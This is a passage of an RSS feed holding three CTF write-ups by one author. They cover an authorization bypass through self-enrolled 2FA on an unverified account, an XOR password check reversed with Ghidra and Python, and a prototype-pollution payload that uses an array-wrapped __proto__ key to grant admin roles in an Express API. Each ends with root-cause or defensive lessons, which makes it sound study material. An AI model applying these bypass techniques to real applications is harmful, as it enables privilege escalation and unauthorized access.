/api/auth/login<br>/services                /register<br>/articles                 /dashboard<br>/history                   /js/api.js<br>/team                        /js/api-client.js<br>/contact                   /js/main.js<br>/login                        /api/auth/2fa<br>                                 /api/auth/register<br>                                 /api/auth/logout<br>                                 /api/me<br>                                 /api/profile<br>                                 /api/profile/password<br>                                 /api/profile/2fa/setup<br>                                 /api/profile/2fa/enable<br>                                 /api/profile/2fa/disable<br>                                 /api/dashboard<br>                                 /api/incidents<br>                                 /api/facilities</pre><p>Two endpoints stood out: /api/profile/2fa/setup and /api/profile/2fa/enable — suggesting 2FA could be self-enrolled, independent of the account’s verification status.</p><h4>Step 3 — Enrolling in 2FA as an Unverified User</h4><p>I sent a POST to /api/profile/2fa/setup using the session cookie from my unverified account, and the server handed back a fresh TOTP secret with</p><p>out any verification check:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ksPELxqiAx-bWYF0Xxh_yA.png" /></figure><pre>{<br>  &quot;ok&quot;: true,<br>  &quot;secret&quot;: &quot;35U5YRS3XWM4ZYNWEUDWGNOQEVMAIR5D&quot;,<br>  &quot;otpauth&quot;: &quot;otpauth://totp/AegisCore%20Response:Islam0x1%40gmail.com?secret=35U5YRS3XWM4ZYNWEUDWGNOQEVMAIR5D&amp;issuer=AegisCore%20Response&quot;<br>}</pre><p>This was the first sign of the flaw: the endpoint assumed that anyone holding a valid session was <em>allowed</em> to set up 2FA, without asking whether that account had been approved yet.</p><h4>Step 4 — Generating a Valid TOTP Code</h4><p>Using the leaked secret, I generated a live one-time code via <a href="https://totp.codes/">totp.codes</a>, then submitted it to /api/profile/2fa/enable to turn 2FA on for the account:</p><p><a href="https://totp.codes/">OTP Code Generator | totp.codes</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWAIYoExdiZh1IE0t75f-g.png" /></figure><pre>POST /api/profile/2fa/enable HTTP/1.1<br>Content-Type: application/json</pre><pre>{&quot;code&quot;:&quot;170724&quot;}</pre><p>2FA was now active — on an account that was still, by design, unverified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNTRebZKHlU3GwxzWbQMbA.png" /></figure><h4>step 5 — Logging Out and Back In</h4><p>With 2FA enabled, I logged out and authenticated again with the same credentials, this time completing the 2FA challenge:</p><pre>POST /api/auth/2fa HTTP/1.1<br>Cookie: connect.sid=...</pre><pre>{&quot;code&quot;:&quot;221702&quot;}</pre><pre>{<br>  &quot;ok&quot;: true,<br>  &quot;redirect&quot;: &quot;/dashboard&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvS423Hlqu9UUlrdGBQT8w.png" /></figure><p>The server redirected straight to /dashboard. No verification check ran anywhere in this second path — the 2fa endpoint trusted that completing the OTP challenge was sufficient to mint a fully authenticated session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Udlars6to5b2phSIZb55Ew.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34LrpB-lovKHdZhg-FEJ9w.png" /></figure><h4>Step 6 — Capturing the Flag</h4><p>With a legitimate, authenticated session in hand, I hit /api/me:</p><pre>{<br>  &quot;ok&quot;: true,<br>  &quot;user&quot;: {<br>    &quot;id&quot;: 35,<br>    &quot;name&quot;: &quot;islam 0x1&quot;,<br>    &quot;email&quot;: &quot;1slam0x1@email.com&quot;,<br>    &quot;organization&quot;: &quot;WeChecKM8&quot;,<br>    &quot;role&quot;: &quot;user&quot;,<br>    &quot;verified&quot;: false,<br>    &quot;status&quot;: &quot;active&quot;,<br>    &quot;totp_enabled&quot;: true,<br>    &quot;flag&quot;: &quot;CyCTF{hlHf2qL9JrnXIRzDG2qDXlXoxH1vS0Uqg-WP9lM}&quot;<br>  }<br>}</pre><p><strong>&quot;verified&quot;: false</strong> — right next to the flag. The account was never approved, yet it had full API access.</p><pre>CyCTF{hlHf2qL9JrnXIRzDG2qDXlXoxH1vS0Uqg-WP9lM}</pre><h4>Root Cause</h4><p>The vulnerability came down to <strong>inconsistent authorization checks across two separate authentication paths</strong>:</p><ul><li>The <strong>initial login path</strong> (/api/auth/login) correctly checked verified status and blocked unapproved accounts.</li><li>The <strong>2FA path</strong> (/api/auth/2fa, plus the self-service /api/profile/2fa/setup and /enable endpoints) never checked verified at all — it only cared whether the submitted OTP code matched.</li></ul><p>Because 2FA enrollment was self-service and didn’t gate on verification either, an attacker could enable 2FA on an unverified account and then use the 2FA login path as a side door that skipped the check entirely.</p><h4>Takeaway</h4><p>This is a classic <strong>authorization logic flaw</strong>, not a cryptographic or cookie-handling bug: every individual control (registration gating, 2FA, session cookies) worked exactly as intended in isolation. The vulnerability only existed in the <em>seam</em> between them — the assumption that reaching the 2FA step implied the account had already passed every earlier check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*h3w9nW877yLSOJyYzBje0Q.gif" /></figure><h3>thanks for reading</h3><p>Follow Me in : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ab6fc4fc0b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEADFACE CTF | It But A Wee Bit Reverse]]></title>
            <link>https://isv0x1.medium.com/deadface-ctf-it-but-a-wee-bit-reverse-894f64c9dab6?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/894f64c9dab6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 21:00:39 GMT</pubDate>
            <atom:updated>2026-10-19T21:15:33.249Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VvwRaF9cBQzoK4lJl06Shg.png" /></figure><h3>Introduction</h3><p>Sometimes, all it takes is a little boredom to start another hacking adventure. 😈</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*Mt1pL6zS2QPGxUPy9qXiFg.gif" /></figure><p>I was bored, scrolling around with nothing interesting to do, when I stumbled across DEADFACE CTF — It But A Wee Bit Reverse</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*zDQGbNEzGsnDBcxdzjIqCA.png" /></figure><p>The challenge looked simple at first, but there was a catch: strings wouldn&#39;t reveal the secrets, and the binary wasn&#39;t going to hand over its flag for free. So, I fired up my terminal, started digging into the assembly, and followed the trail of XOR operations buried inside the executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*rOqhb8qswEM8jzIgdYev9A.png" /></figure><p>The mission: crack the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*SAY_2iOeNruSXKPjkiymsQ.png" /></figure><h3>1. Reading User Input</h3><pre>printf(&quot;Enter password: &quot;);<br>pcVar1 = fgets((char *)local_58, 0x40, stdin);</pre><p>The program reads user input into local_58, a buffer allocated on the stack. If fgets() fails, the program returns 1.</p><p>Next, it removes the newline and checks the password length:</p><pre>sVar3 = strcspn((char *)local_58, &quot;\n&quot;);<br>local_58[sVar3] = 0;</pre><pre>if (strlen((char *)local_58) == 10)</pre><p>The password must be exactly 10 characters long. Any other length results in Access denied.</p><h3>2. Reversing the XOR Password Check</h3><p>The most interesting part is the validation loop:</p><pre>if ((local_58[local_78] ^ 0x42) != pw_enc[local_78])</pre><p>Each password byte is XORed with 0x42 and compared against the corresponding byte in pw_enc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YpTsFttuHVJVU3FihxjKVg.png" /></figure><h3>3. Identifying pw_enc</h3><p>In Ghidra’s Listing view, I located the pw_enc variable at address 00104010. Its stored bytes are:</p><pre>31 37 2c 31 2a 2b 2c 27 76 70</pre><p>Each value represents one byte written in hexadecimal. I copied these bytes in order and converted them into a Python bytes object:</p><pre>pw_enc = bytes.fromhex(&quot;31372c312a2b2c277670&quot;)</pre><p>The bytes.fromhex() function converts a hexadecimal string into bytes that Python can process.</p><h3>4. Understanding the XOR Operation</h3><p>While analyzing main() in Ghidra&#39;s Decompiler, I found this condition:</p><pre>if ((local_58[local_78] ^ 0x42) != pw_enc[local_78])</pre><p>This reveals that the program XORs each password character with 0x42 and compares the result with the corresponding byte in pw_enc.</p><p>Since XOR is reversible, applying the same operation again recovers the original value:</p><p>\[ (A \oplus B) \oplus B = A \]</p><h3>5. Recovering the Password</h3><p>I used Python to reverse the XOR operation and recover the password:</p><pre>pw_enc = bytes.fromhex(&quot;31372c312a2b2c277670&quot;)password = bytes(b ^ 0x42 for b in pw_enc)print(password.decode())</pre><p>Output:</p><pre>sunshine42</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*Zcn3L7BKq8apuPILROGjaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Fuv4dXMNm8hsVHiR2i8uQA.gif" /></figure><p>thanks for reading</p><p>Follow me : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=894f64c9dab6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FDC Final: The Last Story — How Confer’s “Hardened” Wall Bled Admin Access]]></title>
            <link>https://isv0x1.medium.com/fdc-final-the-last-story-how-confers-hardened-wall-bled-admin-access-9e3f240a9831?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e3f240a9831</guid>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Thu, 24 Sep 2026 20:15:31 GMT</pubDate>
            <atom:updated>2026-09-25T06:22:55.155Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cONr6_OjqHaKBiK8yZnweg.png" /><figcaption><strong>Hard</strong> · <strong>200 Points</strong> · <strong>Web Security</strong></figcaption></figure><h3>🔴 All About Confer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lDhwt0ZchDUf5AHPjwkg7A.png" /><figcaption>Since the challenge has expired, I won’t go into much detail because I no longer have access to it now that the competition has ended.</figcaption></figure><h3><strong>The Main Idea is :</strong></h3><p>confer is an Express.js API that uses setDeepProperty() to store nested user preferences. It blocklists __proto__, constructor, and prototype using strict string comparison.</p><p>The bypass is to wrap __proto__ in an array: [&quot;__proto__&quot;]. The check fails because an array is not === to a string, but JavaScript later coerces it into &quot;__proto__&quot; as a property key.</p><p>With includeInheritedProps using in instead of hasOwnProperty, the code reaches Object.prototype and sets role: &quot;admin&quot;, causing objects without their own role to inherit admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*etGWeP0twhZM71bJp0DSXg.gif" /></figure><h3>Some of recon in js code :</h3><p>- `POST /api/auth/register` / `POST /api/auth/login` — issue JWTs.</p><p>- `GET /api/users/:userId`, `PUT /api/users/:userId` — self-service profile access (blocks `role`/`isActive` changes for non-admins).</p><p>- `POST /api/preferences`, `GET /api/preferences/:userId` — a generic <strong>**deep property store**</strong>, keyed per user (`user:&lt;id&gt;`), built on top of a custom `PropertyManager` class.</p><ul><li>`GET /api/admin/*` — gated by `authMiddleware.required` + `authMiddleware.adminOnly`, and it’s the only place that reads `/flag.txt`.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*j7M86Ax_oM-aoN4AyMa5Lg.gif" /></figure><h3>The Vulnerable Logic</h3><p>adminOnly checks user.role === &quot;admin&quot;, but newly created users have no role field. This means that if we can pollute Object.prototype.role, every user will inherit the admin role.</p><p>The obvious payloads such as __proto__.role are blocked by isDangerousProperty(). However, the check uses strict equality:</p><pre>key === &quot;__proto__&quot;</pre><p>This can be bypassed by using a single-element array:</p><pre>[&quot;__proto__&quot;]</pre><p>The comparison fails because an array is not strictly equal to a string. But when JavaScript uses the value as an object key, it is coerced back into &quot;__proto__&quot;.</p><p>The second part of the exploit is includeInheritedProps. With it enabled, the in operator considers __proto__ as an existing property, so the code does <strong>not</strong> replace it with a new object. Instead, current becomes the real Object.prototype.</p><p>The next write therefore becomes:</p><pre>Object.prototype.role = &quot;admin&quot;;</pre><p>Since normal users don’t have their own role, they now inherit &quot;admin&quot; and pass the admin check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*LPswh2pHgSYmlWluxQGUPA.gif" /></figure><h3>Poc :</h3><p>First Register a normal user, confirm no admin access in the instance :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F4yw9-5ynxPweFimKsASEw.png" /></figure><p>Confirm the basic payloads are actually blocked :</p><pre>{<br> &quot;userId&quot;: &quot;shero&quot;,<br> &quot;path&quot;: &quot;__proto__.role&quot;,<br> &quot;value&quot;: &quot;admin&quot;,<br> &quot;options&quot;: {<br> &quot;includeInheritedProps&quot;: true<br> }}❌</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><pre>{&quot;userId&quot;:&quot;shero&quot;,&quot;path&quot;:[&quot;__proto__&quot;,&quot;role&quot;],&quot;value&quot;:&quot;admin&quot;,<br>&quot;options&quot;:{&quot;includeInheritedProps&quot;:true}} ❌</pre><p>you will see this massage :</p><pre>{&quot;error&quot;:&quot;Security validation failed&quot;,<br> &quot;details&quot;:&quot;For security reasons, dangerous properties cannot be set&quot;}</pre><h3>the correct way Based on the Source Code is :</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikjU8giYvAYKbY0uxiq5wA.png" /></figure><p><strong>NEXT</strong> : Reuse the exact same token against the admin endpoint :<strong>/api/admin/stats</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oEuxXKQFWrauFE-R0PWLAw.png" /></figure><h3>Conclusion :</h3><p>1. String-only blocklists are bypassable with non-string keys. Anything that stringifies to the forbidden value but isn’t strictly equal to it — arrays, boxed strings, objects with a custom toString — sails through.</p><p>2. “Security” options can make things worse. includeInheritedProps was likely added for convenience, but it’s exactly what turns a locally-scoped prototype swap into a truly global one.</p><p>3. Blocking by key name isn’t the same as blocking by behavior. Robust protection validates the resulting property key’s type, not just its literal spelling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*ncm2_JBheSSxzohEu6OfGw.gif" /></figure><p>اللهم انصر اخواننا في غزة</p><p>Follow me in Linkdin : <a href="https://www.linkedin.com/in/islam-salem-5a13a032b/">Islam Salem | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e3f240a9831" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>